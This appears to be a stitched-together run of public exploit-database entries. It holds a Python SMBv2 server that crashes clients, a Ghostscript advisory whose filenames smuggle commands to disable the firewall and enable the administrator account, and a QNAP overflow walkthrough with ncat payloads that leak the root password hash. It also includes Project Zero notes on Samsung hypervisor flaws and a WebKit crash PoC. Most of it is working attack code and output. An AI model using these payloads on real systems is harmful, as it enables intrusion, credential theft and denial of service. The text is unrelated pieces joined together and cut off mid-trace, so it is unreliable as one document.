("AccessMask", "\xff\x01\x1f\x01"),
("Data", ""),
])
##########################################################################
class SMB2(SocketServer.BaseRequestHandler):
def handle(self):
try:
self.request.settimeout(1)
print "From:", self.client_address
data = self.request.recv(1024)
##Negotiate proto answer.
if data[8:10] == "\x72\x00" and data[4:5] == "\xff":
head = SMBv2Header(CreditCharge="\x00\x00",Credits="\x01\x00",PID="\x00\x00\x00\x00")
t = SMB2NegoAns()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[*]Negotiating SMBv2."
self.request.send(buffer1)
data = self.request.recv(1024)
if data[16:18] == "\x00\x00":
CreditsRequested = data[18:20]
if CreditsRequested == "\x00\x00":
CreditsRequested = "\x01\x00"
CreditCharged = data[10:12]
head = SMBv2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data))
t = SMB2NegoAns(Dialect="\x02\x02")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[*]Negotiate Protocol SMBv2 packet sent."
self.request.send(buffer1)
data = self.request.recv(1024)
#Session More Work to Do
if data[16:18] == "\x01\x00":
head = SMBv2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID="\x4d\x00\x00\x00\x00\x04\x00\x00",NTStatus="\x16\x00\x00\xc0")
t = SMB2Session1Data()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[*]Session challenge SMBv2 packet sent."
self.request.send(buffer1)
data = self.request.recv(1024)
#Session Positive
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02":
head = SMBv2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x00\x00\x00\x00", SessionID=GrabSessionID(data))
t = SMB2SessionAcceptData()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
## Tree Connect
if data[16:18] == "\x03\x00":
head = SMBv2Header(Cmd="\x03\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", TID="\x01\x00\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x00\x00\x00\x00", SessionID=GrabSessionID(data))
t = SMB2TreeData(Data="C"*1500)#//BUG
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[*]Triggering Bug; Tree Connect SMBv2 packet sent."
self.request.send(buffer1)
data = self.request.recv(1024)
except Exception:
print "Disconnected from", self.client_address
pass
SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),SMB2)
launch.serve_forever()
[+]#################################################################################################
[+] Credits: John Page AKA hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/GHOSTSCRIPT-FILENAME-COMMAND-EXECUTION.txt
[+] ISR: ApparitionSec
[+]################################################################################################
Vendor:
===============
ghostscript.com
Product:
================
Ghostscript 9.20
gs920w32.exe
Windows (32 bit)
hash: fee2cc1b8b467888a4ed44dd9f4567ed
Ghostscript is a suite of software based Postscript and PDF
interpreter/renderers for file conversion.
Vulnerability Type:
==========================
Filename Command Execution
CVE Reference:
==============
N/A
Security Issue:
================
The ghostscript ps2epsi translator to processes ".ps" files executes
arbitrary commands from specially crafted filenames that contain
OS commands as part of the processed postscript files name. This feature
seems to work only using the ps2epsi translator.
Other tested GS translator calls like 'ps2pdf' fail.
c:\>ps2epsi
"Usage: ps2epsi <infile.ps> <outfile.epi>"
Example, take a file "POC&<SYSTEM-COMMAND>;1.ps", it will run arbitrary
Commands contained after the ampersand character "&".
If a user runs some automated script to call the ps2epsi translator to
process ".ps" files from a remote share or directory
where actual filename is unknown, it can potentially allow attackers to
execute arbitrary commands on victims machine.
Characters like "/", ":" are restricted in filenames, but we can abuse
Windows netsh and wmic to bypass some of these barriers.
Quick Ghostscript CL test.
Create file called Test&calc.exe;1.ps
ps2epsi "Test&calc.exe;1.ps" outfile
BOOM! calc.exe runs...
Exploit/POC:
=============
Add Ghostscript lib 'c:\Program Files (x86)\gs\gs9.20\lib' to Windows
environmental Path, so we can easily call 'ps2epsi' GS CMD.
Create the following malicious ".ps" postscript files.
1) Turn of Windows Firewall
Test&netsh Advfirewall set allprofiles state off&;1.ps
2) Enable Windows Administrator account (using WMIC).
Test&wmic useraccount where name='administrator' set disabled='false'&;1.ps
If user don't have wmic on path, fix it for POC by set environmental system
variable.
Add "C:\Windows\system32\wbem;" to 'Path' variable.
Run below bat script to process bunch of *.ps" files.
"POC.bat"
@echo off
rem ghostscript Filename Command Execution POC
rem by hyp3rlinx
for %%1 in ("*.ps") do; ps2epsi "%%1" "evil.ps"
Severity:
=========
Medium
Disclosure Timeline:
===============================
Vendor Notification: No replies
February 2, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.
Device Model: QNAP VioStor NVR, QNAP NAS, Fujitsu Celvin NAS (May be additional re-branded)
Attack Vector: Remote
Attack Models:
1. Classic Heap Overflows
2. Classic Stack Overflow
3. Heap Feng Shui Overflow
4. "Heack Combo" (Heap / Stack Combination) Overflow
[Timeline]
07/01/2017:
QNAP contacted me after my post to Bugtraq 31/12/2016 (http://seclists.org/bugtraq/2017/Jan/5).
Provided additional details, never heard anything back from QNAP.
(The patched FW versions I’ve found out by myself, no feedback from QNAP)
29/01/2017:
Sent this document to QNAP <security@qnap.com>, asked for feedback and also if they have any objections before publish
31/01/2017:
No reply.
- Frankly speaking - ignorance; next batch will be Full Disclosure without any prior notice nor reply to QNAP (oOoo).
[Vulnerable]
QNAP VioStor NVR: QVR 5.1.x (Patched?)
QNAP NAS: QTS 4.3.2 Beta (Patched?)
QNAP NAS: QTS older than 4.2.3 (build 20170121)
Fujitsu Celvin NAS: older than 4.2.3 (build 20170110)
[Not Vulnerable]
QNAP NAS: QTS >= 4.2.3 (build 20170121)
Fujitsu Celvin NAS: >= 4.2.3 (build 20170110)
[Vendor security alert]
https://www.qnap.com/en/support/con_show.php?cid=108
[Vendor URL]
https://www.qnap.com/
http://www.qnapsecurity.com/
http://www.fujitsu.com/fts/products/computing/peripheral/accessories/storage/
Note: All hardcoded examples below, made with TS-251+ QTS 4.2.2 (Build 20161214)
===[ 1. Classic Heap Overflows ]===
1. Both the tags "u" (user) and "p" (password) suffer of heap overflow, that alone allows us to overwrite wilderness top chunk size.
2. The tag "pp" (sysApp) suffer of stack overflow, that alone allows to us to overwrite libc_argv[0].
Note: Local shown below, but can of course be triggered remote as well
/* Heap #1 to overwrite the heap wilderness top chunk size */
# export QUERY_STRING="u=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff"
# ./cgi.cgi
*** glibc detected *** ./cgi.cgi: double free or corruption (out): 0x0806b0d0 ***
/* Heap #2 to overwrite the heap wilderness top chunk size */
# export QUERY_STRING="u=admin&p=`for((i=0;i<260;i++));do echo -en "A";done`%ff%ff%ff%ff"
# ./cgi.cgi
*** glibc detected *** ./cgi.cgi: double free or corruption (out): 0x0806b2a0 ***
===[ 2. Classic Stack Overflow ]===
/* Stack Overflow to overwrite libc_argv[0] address pointer for reading shadow password */
# export QUERY_STRING="u=admin&pp=`for((i=0;i<4468;i++));do echo -en "A";done`%7e%c7%06%08"
# ./cgi.cgi
Content-type: text/xml
<?xml version="1.0" encoding="UTF-8" ?>
<QDocRoot version="1.0">
<authPassed><![CDATA[0]]></authPassed></QDocRoot>
*** stack smashing detected ***: $1$$CoERg7ynjYLsj2j4glJ34. terminated
Aborted
As we can see above, the implemented GLIBC heap/stack protections works quite sufficient, pretty much nothing interesting can be achieved.
But, when we start to combining vulnerabilities, flaws and near functions with each other, things starting to get a bit more interesting.
===[ 3. Heap Feng Shui with Heap #1 and #2 Overflow ]===
/* Heap overflow with freed junk chunks, to overwrite next heap chunk header */
One of the first functions that runs in the CGI, is CGI_Get_Input(), this function takes all our input to the CGI and allocates memory on the heap for later use with CGI_Find_Parameter(); This allow us to create junk memory chunks more or less wherever we would like to have them, have them freed, and then later have them allocated for our use.
The for() loop with char "B" will create used and freed space before "p" at heap by CGI_Get_Input();
The upcoming calloc() for "u" will use this space, and the content in "u" will be copied here and overflow into "p":s heap chunk header.
[The abort() happens in <fgetpwent+402>: malloc() from Get_Exact_NAS_User_Name() call, and not in "p":s calloc()]
/* Controlling: eax, edx, esi */
# export QUERY_STRING="u=`for((i=0;i<80;i++));do echo -en "A";done`%fc%ff%ff%ff%fc%ff%ff%ffCCCC%6c%b1%06%08&QNAP=`for((i=0;i<32;i++));do echo -en "B";done`&p=PPPP"
# ./cgi.cgi
*** glibc detected *** /home/httpd/cgi-bin/cgi.cgi: corrupted double-linked list: 0x0806b154 ***
Below I will demonstrate another interesting combination found while exploring,
that easily can be exploited remotely without credentials and without any prior knowledge of the remote target.
===[ 4. "Heack Combo" (Heap / Stack Combination) Overflow ]===
/* Combined heap overflow #2 with base64 decoded stack overwrite, to remotely calculate and retrieve shadowed admin (root) password */
We will here combine the "GLIBC detected" abort message in GNU LIBC that’s triggered by an Heap Overflow, together with base64 encoded request string to cgi.cgi in QNAP devices, where the internal b64_Decode() function will (right after the heap overflow) be called and do an stack overwrite of address pointer for libc_argv[0], with the address we choose, which will allow us to read a string almost anywhere.
In this PoC we are using the address for the heap loaded admin (root) /etc/shadow password, to remotely read this string for displaying instead of the program name.
The critical part is to correctly align the request with the address pointer for libc_argv[0], and below you will find guidance for success.
Notes:
1. Sending 0x00-0xff to the stack will work just fine, since the request for "p" will be base64 decoded. (theoretically, we could rewrite the stack as how we would like to have it)
2. I’m using HTTPS/SSL to have some privacy while fuzzing, only to show some people that HTTPS/SSL don’t make them secure by default. (HTTP works of course too)
3. Right before and after the address pointer for libc_argv[0], we have (harmless?) segfaults in strlen() / getenv() due to reading of invalid addresses.
4. The "\nHost: Q†is needed with HTTPS/SSL, could be removed when using HTTP, otherwise the PoC sometimes may not work as expected. *sigh*
5. Since the given pattern for reading is static, automated tool are quite easy to develop. (with slightly adjustment of the offset for correctly reading)
6. Fingerprinting is extremely easy with the request: "GET /cgi-bin/authLogin.cgi HTTP/1.0" (provides XML list with all relevant details)
7. This PoC will not work with devices who has ASLR enabled for heap. *doh*
Credits:
QNAP, to the combination of heap overflow with base64 decoded stack overwrite, for letting us write where we want to read.
GLIBC, who give us quite vital information to calculate with, that allow us to point our reading correctly, and then reading what we want.
Now to the demonstration.
[==== (1) ====]
[Four and more bytes off below the address pointer for libc_argv[0]]
/*
You should start with fairly low number in the for() loop (around 2000 - 3000 should be fine) and work your way up to the breaking point between #1 and #2.
Note:
In the example we start with 4464 in the for() loop, only to clearly show the breaking point between #1 and #2.
*/
Example:
$ echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`QN=$(for((i=0;i<4464;i++));do echo -en "\xff";done) ; AP=$"\x41\x41\x41\x41"; echo -en "$QN$AP" | base64 -w 0` HTTP/1.0\nHost: Q\n\n" | ncat --ssl 192.168.5.7 443
HTTP/1.1 200 OK
Date: Sun, 08 Jan 2017 11:40:06 GMT
*** glibc detected *** cgi.cgi: free(): invalid next size (normal): 0x0806e508 ***
[==== (2) ====]
[Three or two bytes off below the address pointer for libc_argv[0]]
/*
Note now the below "*** glibc detected ***" - it doesn’t write the program name as above in #1, this is very important first step to look for.
Note:
Two bytes off can sporadicly generate segfault, so don’t be fooled to believe you are in #3.
Recommending firstly to exactly find the first breaking point between #1 and #2 (program name).
*/
Example (three off below):
$ echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`QN=$(for((i=0;i<4465;i++));do echo -en "\xff";done) ; AP=$"\x41\x41\x41\x41"; echo -en "$QN$AP" | base64 -w 0` HTTP/1.0\nHost: Q\n\n" | ncat --ssl 192.168.5.7 443
HTTP/1.1 200 OK
Date: Sun, 08 Jan 2017 11:41:12 GMT
*** glibc detected *** : free(): invalid next size (normal): 0x0806e508 ***
Example (two off below):
$ echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`QN=$(for((i=0;i<4466;i++));do echo -en "\xff";done) ; AP=$"\x41\x41\x41\x41"; echo -en "$QN$AP" | base64 -w 0` HTTP/1.0\nHost: Q\n\n" | ncat --ssl 192.168.5.7 443
HTTP/1.1 200 OK
Date: Sun, 08 Jan 2017 11:41:52 GMT
*** glibc detected *** : free(): invalid next size (normal): 0x0806e508 ***
[==== (3) ====]
[One byte off below the address pointer for libc_argv[0]]
/*
Very important step, segfault in strlen() and we need now add one more byte to correctly overwrite the address pointer for libc_argv[0]
*/
Example (one off below):
$ echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`QN=$(for((i=0;i<4467;i++));do echo -en "\xff";done) ; AP=$"\x41\x41\x41\x41"; echo -en "$QN$AP" | base64 -w 0` HTTP/1.0\nHost: Q\n\n" | ncat --ssl 192.168.5.7 443
HTTP/1.1 200 OK
Date: Sun, 08 Jan 2017 11:42:26 GMT
Content-Length: 0
Connection: close
Content-Type: text/plain
[==== (4) ====]
/*
The address we looking for can be calculated from above heap message in #2 (0x0806e508) and subtracted with below offset.
Fixed offset (more or less)
NASX86: 0x16b2
NASARM: 0x1562
NASX86 example:
If we subtract the offset: 0x0806e508 - 0x16b2 = 0x0806ce56; We should directly read the hash. (if not, adjust the reading slightly with the offset)
*/
Example (correctly aligned):
$ echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`QNAP=$(for((i=0;i<4468;i++));do echo -en "\xff";done) ; PWNED=$"\x56\xce\x06\x08"; echo -en "$QNAP$PWNED" | base64 -w 0` HTTP/1.0\nHost: Q\n\n" | ncat --ssl 192.168.5.7 443
HTTP/1.1 200 OK
Date: Sun, 08 Jan 2017 11:43:08 GMT
*** glibc detected *** $1$$CoERg7ynjYLsj2j4glJ34.: free(): invalid next size (normal): 0x0806e510 ***
[==== (5) ====]
/*
If we added one or more bytes above the address pointer for libc_argv[0], "400 Bad Request" will be generated or no output with "200 OK" as in #3.
If you don’t get expected results (or not any results at all), you are most probably here.
*/
[One byte off or more above the address pointer for libc_argv[0]]
Example (one or more off above):
$ echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`QN=$(for((i=0;i<4469;i++));do echo -en "\xff";done) ; AP=$"\x56\xce\x06\x08"; echo -en "$QN$AP" | base64 -w 0` HTTP/1.0\nHost: Q\n\n" | ncat --ssl 192.168.5.7 443
HTTP/1.1 400 Bad Request
Date: Sun, 08 Jan 2017 11:45:01 GMT
Server: http server 1.0
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=982
As part of Samsung KNOX, Samsung phones include a security hypervisor called RKP (Real-time Kernel Protection), running in EL2. This hypervisor is meant to ensure that the HLOS kernel running in EL1 remains protected from exploits and aims to prevent privilege escalation attacks by "shielding" certain data structures within the hypervisor.
In order to protect the information processed and stored within RKP (i.e., RKP's heap and stack or the current control-flow protection key), the physical ranges in which RKP and "physmap" are located are unmapped from the stage 2 translation table upon initialization of RKP. This prevents an attacker in EL1 from accessing any of these memory regions, as such an attempt would trigger an s2 translation fault.
However, RKP provides commands which can be used in order to re-map regions in the stage 2 translation table. Most of these commands correctly perform a validation on the given address range using "physmap". However, the "rkp_set_init_page_ro" command (command code 0x51) can be used to mark a region as read-only in stage 2, and performs no such validation. Here is the approximate pseudo-code for this command:
__int64 rkp_set_init_page_ro(unsigned args* args_buffer)
{
unsigned long page_pa = rkp_get_pa(args_buffer->arg0);
if ( page_pa < rkp_get_pa(text) || page_pa >= rkp_get_pa(etext) )
{
if ( !rkp_s2_page_change_permission(page_pa, 128LL, 0, 0) )// RO, XN
return rkp_debug_log("Cred: Unable to set permission for init cred", 0LL, 0LL, 0LL);
}
else
{
rkp_debug_log("Good init CRED is within RO range", 0LL, 0LL, 0LL);
}
rkp_debug_log("init cred page", 0LL, 0LL, 0LL);
return rkp_set_pgt_bitmap(page_pa, 0);
}
The "rkp_s2_page_change_permission" function makes sure the given page is mapped in stage 2 (and if it isn't, it re-maps it). The arguments passed in by "rkp_set_init_page_ro" in this specific case mark the page as read-only and non-executable.
Regardless, the physical address ranges for RKP are already present in the stage 1 translation table:
...
[424] 0x0b5000000-0x0b5200000 [PXN: 1, UXN: 1, AP: 0]
[425] 0x0b5200000-0x0b5400000 [PXN: 1, UXN: 1, AP: 0]
[426] 0x0b5400000-0x0b5600000 [PXN: 1, UXN: 1, AP: 0]
[427] 0x0b5600000-0x0b5800000 [PXN: 1, UXN: 1, AP: 0]
[428] 0x0b5800000-0x0b5a00000 [PXN: 1, UXN: 1, AP: 0]
...
This means an attacker can simply invoke the "rkp_set_init_page_ro" command to s2-map any wanted page, and will subsequently be able to directly read from that page, even if it resides within RKP's physical address range.
I've verified this issue on an SM-G935F device, build version "XXS1APG3". The RKP version present on the device is "RKP4.2_CL7572479".
Proof of concept for the RKP stage 2 remapping issue.
This PoC s2-remaps RKP's physical address range and reads from it in EL1.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41218.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=981
As part of Samsung KNOX, Samsung phones include a security hypervisor called RKP (Real-time Kernel Protection), running in EL2. This hypervisor is meant to ensure that the HLOS kernel running in EL1 remains protected from exploits and aims to prevent privilege escalation attacks by "shielding" certain data structures within the hypervisor.
One of the protections implemented by RKP is a security policy meant to ensure that only the "authentic" kernel code pages are executable from EL1. This mitigation is achieved by combining a few memory protection policies together, namely:
-All pages with the exception of the kernel code are marked PXN
-All kernel code pages are marked read-only in the stage 2 translation table
-Kernel data pages are never marked executable
-Kernel code pages are never marked writable
(for more information, see https://www2.samsungknox.com/en/blog/real-time-kernel-protection-rkp)
In order to explore this mitigation technique, I've written a small tool to dump the stage 1 and stage 2 translation tables for EL0/EL1. First, the initial stage 2 translation table is embedded in the VMM code, so it can be statically retrieved and analysed. Here is a short snippet from the initial stage 2 translation table (the addresses here are PAs, although RKP implements a one-to-one PA<->IPA translation, barring memory protections):
...
0x80000000-0x80200000: S2AP=11, XN=0
0x80200000-0x80400000: S2AP=11, XN=0
0x80400000-0x80600000: S2AP=11, XN=0
0x80600000-0x80800000: S2AP=11, XN=0
0x80800000-0x80a00000: S2AP=11, XN=0
0x80a00000-0x80c00000: S2AP=11, XN=0
0x80c00000-0x80e00000: S2AP=11, XN=0
0x80e00000-0x81000000: S2AP=11, XN=0
0x81000000-0x81200000: S2AP=11, XN=0
0x81200000-0x81400000: S2AP=11, XN=0
0x81400000-0x81600000: S2AP=11, XN=0
...
The physical address range above corresponds with the physical address range in which the kernel code is located. As can be seen above, this entire address range is mapped as RWX in the initial stage 2. However, obviously RKP does not leave this area unprotected, as this might allow an attacker to subvert the kernel's integrity (by writing to the kernel's code pages). When RKP is initialized (i.e., when the HVC command RKP_INIT is called from EL1), the HLOS kernel passes a structure containing the address ranges for the currently loaded kernel. Here is a short snippet from "rkp_init" (init/main.c):
static void rkp_init(void)
{
rkp_init_t init;
init.magic = RKP_INIT_MAGIC;
init.vmalloc_start = VMALLOC_START;
init.vmalloc_end = (u64)high_memory;
init.init_mm_pgd = (u64)__pa(swapper_pg_dir);
init.id_map_pgd = (u64)__pa(idmap_pg_dir);
init.rkp_pgt_bitmap = (u64)__pa(rkp_pgt_bitmap);
init.rkp_map_bitmap = (u64)__pa(rkp_map_bitmap);
init.rkp_pgt_bitmap_size = RKP_PGT_BITMAP_LEN;
init.zero_pg_addr = page_to_phys(empty_zero_page);
init._text = (u64) _text;
init._etext = (u64) _etext;
if (!vmm_extra_mem) {
printk(KERN_ERR"Disable RKP: Failed to allocate extra mem\n");
return;
}
init.extra_memory_addr = __pa(vmm_extra_mem);
init.extra_memory_size = 0x600000;
init._srodata = (u64) __start_rodata;
init._erodata =(u64) __end_rodata;
init.large_memory = rkp_support_large_memory;
rkp_call(RKP_INIT, (u64)&init, 0, 0, 0, 0);
}
Upon receiving this command, RKP changes the stage 2 permissions for the address range corresponding to the kernel text (from "init._text" to "init._etext") to read-only and executable, like so:
...
kernel_text_phys_start = rkp_get_pa(text);
kernel_text_phys_end = rkp_get_pa(etext);
rkp_debug_log("DEFERRED INIT START", 0LL, 0LL, 0LL);
if ( etext & 0x1FFFFF )
rkp_debug_log("Kernel range is not aligned", 0LL, 0LL, 0LL);
if ( !rkp_s2_range_change_permission(kernel_text_phys_start, kernel_text_phys_end, 128LL, 1, 1) )
rkp_debug_log("Failed to make Kernel range RO", 0LL, 0LL, 0LL);
rkp_l1pgt_process_table(init_mm_pgd, 1u, 1u);
...
However, notice that the code above only marks the region from _text to _etext as read-only. This region is *strictly smaller* than the physical address range reserved for the kernel text region (in part in order to account for RKP's KASLR slide, which means the kernel can be placed at several offsets within this region). If we take a look at the stage 1 translation table from TTBR1_EL1, we can see that the kernel code pages are allocated using L2 block descriptors (i.e., a large granularity), like so:
...
[256] L1 table [PXNTable: 0, APTable: 0]
[ 0] 0x080000000-0x080200000 [PXN: 0, UXN: 1, AP: 0]
[ 1] 0x080200000-0x080400000 [PXN: 0, UXN: 1, AP: 0]
[ 2] 0x080400000-0x080600000 [PXN: 0, UXN: 1, AP: 0]
[ 3] 0x080600000-0x080800000 [PXN: 0, UXN: 1, AP: 0]
[ 4] 0x080800000-0x080a00000 [PXN: 0, UXN: 1, AP: 0]
[ 5] 0x080a00000-0x080c00000 [PXN: 0, UXN: 1, AP: 0]
[ 6] 0x080c00000-0x080e00000 [PXN: 0, UXN: 1, AP: 0]
[ 7] 0x080e00000-0x081000000 [PXN: 0, UXN: 1, AP: 0]
[ 8] 0x081000000-0x081200000 [PXN: 0, UXN: 1, AP: 0]
[ 9] 0x081200000-0x081400000 [PXN: 0, UXN: 1, AP: 0]
[ 10] 0x081400000-0x081600000 [PXN: 1, UXN: 1, AP: 0]
...
Moreover, as we can see above, the region 0x080000000-0x081400000 is marked as RWX in the stage 1 translation table, even though the kernel code pages only take up a much smaller area within this region.
Combining these facts, we arrive at the conclusion that any address in the range 0x080000000-"_text" or "_etext"-0x081400000 are marked as RWX both in stage 1 and stage 2, even after RKP is initialized.
This issue can be reproduced by simply writing code to any of these memory regions in EL1 and executing it directly (e.g., writing code to address 0xffffffc000000000 in the kernel's VAS).
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41217.zip
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1038
There is a type confusion vulnerability that affects WebKit with accessibility enabled (WebCore::AXObjectCache::gAccessibilityEnabed).
PoC:
===============================
-->
<script>
function boom() {
m.append("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
m.setAttribute("aria-labeledby", "t");
d.open = false;
}
</script>
<body onload=boom()>
<title id="t">foo</title>
<menu id="m">
<details id="d" open="true">
<!--
===============================
Bad cast happens in RenderBox.h in
inline RenderBox* RenderBox::firstChildBox() const
{
return downcast<RenderBox>(firstChild());
}
The function expects that the first child is going to be of type RenderBox, but in the PoC it is actually of type RenderText.
This was tested on WebKitGTK+ 2.14.2 (latest stable version at this time). The PoC also crashes Safari on Mac, but only if the PoC is run while the Web Inspector / Error Console are enabled. It appears this behavior is caused by the fact that opening inspector enables accessibility features (via a call to AXObjectCache::enableAccessibility), while accessibility features are enabled in WebKitGTK+ by default through WebPageAccessibilityObjectAtk.
ASAN log follows.
=================================================================
==5530==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7fd724fdca78 at pc 0x7fd72289499f bp 0x7ffc9e7a40b0 sp 0x7ffc9e7a40a8
READ of size 8 at 0x7fd724fdca78 thread T0
#0 0x7fd72289499e in WebCore::RenderBox::computeBlockDirectionMargins(WebCore::RenderBlock const&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBox.cpp:3260:21
#1 0x7fd7228a00b1 in WebCore::RenderBox::computeAndSetBlockDirectionMargins(WebCore::RenderBlock const&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBox.cpp:3270:5
#2 0x7fd7227faa45 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:660:5
#3 0x7fd7227f6abe in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:632:9
#4 0x7fd7227f2d55 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:487:9
#5 0x7fd7227a24b7 in WebCore::RenderBlock::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:1075:5
#6 0x7fd7227fb3a0 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:709:9
#7 0x7fd7227f6abe in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:632:9
#8 0x7fd7227f2d55 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:487:9
#9 0x7fd7227a24b7 in WebCore::RenderBlock::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:1075:5
#10 0x7fd7227fb3a0 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:709:9
#11 0x7fd7227f6abe in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:632:9
#12 0x7fd7227f2d55 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:487:9
#13 0x7fd7227a24b7 in WebCore::RenderBlock::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:1075:5
#14 0x7fd7227fb3a0 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:709:9
#15 0x7fd7227f6abe in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:632:9
#16 0x7fd7227f2d55 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:487:9
#17 0x7fd7227a24b7 in WebCore::RenderBlock::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:1075:5
#18 0x7fd722c7d92f in WebCore::RenderView::layoutContent(WebCore::LayoutState const&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderView.cpp:244:5
#19 0x7fd722c7ee64 in WebCore::RenderView::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderView.cpp:370:9
#20 0x7fd72221b17b in WebCore::FrameView::layout(bool) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/page/FrameView.cpp:1438:9
#21 0x7fd721495fe2 in WebCore::Document::updateLayout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:2007:9
#22 0x7fd7214a2801 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:2039:5
#23 0x7fd721579993 in WebCore::Element::innerText() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Element.cpp:2518:5
#24 0x7fd720c6d821 in WebCore::accessibleNameForNode(WebCore::Node*, WebCore::Node*) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1887:16
